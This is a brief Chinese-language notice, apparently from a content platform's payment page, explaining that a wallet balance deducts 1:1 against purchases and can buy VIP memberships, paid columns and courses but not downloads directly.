抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值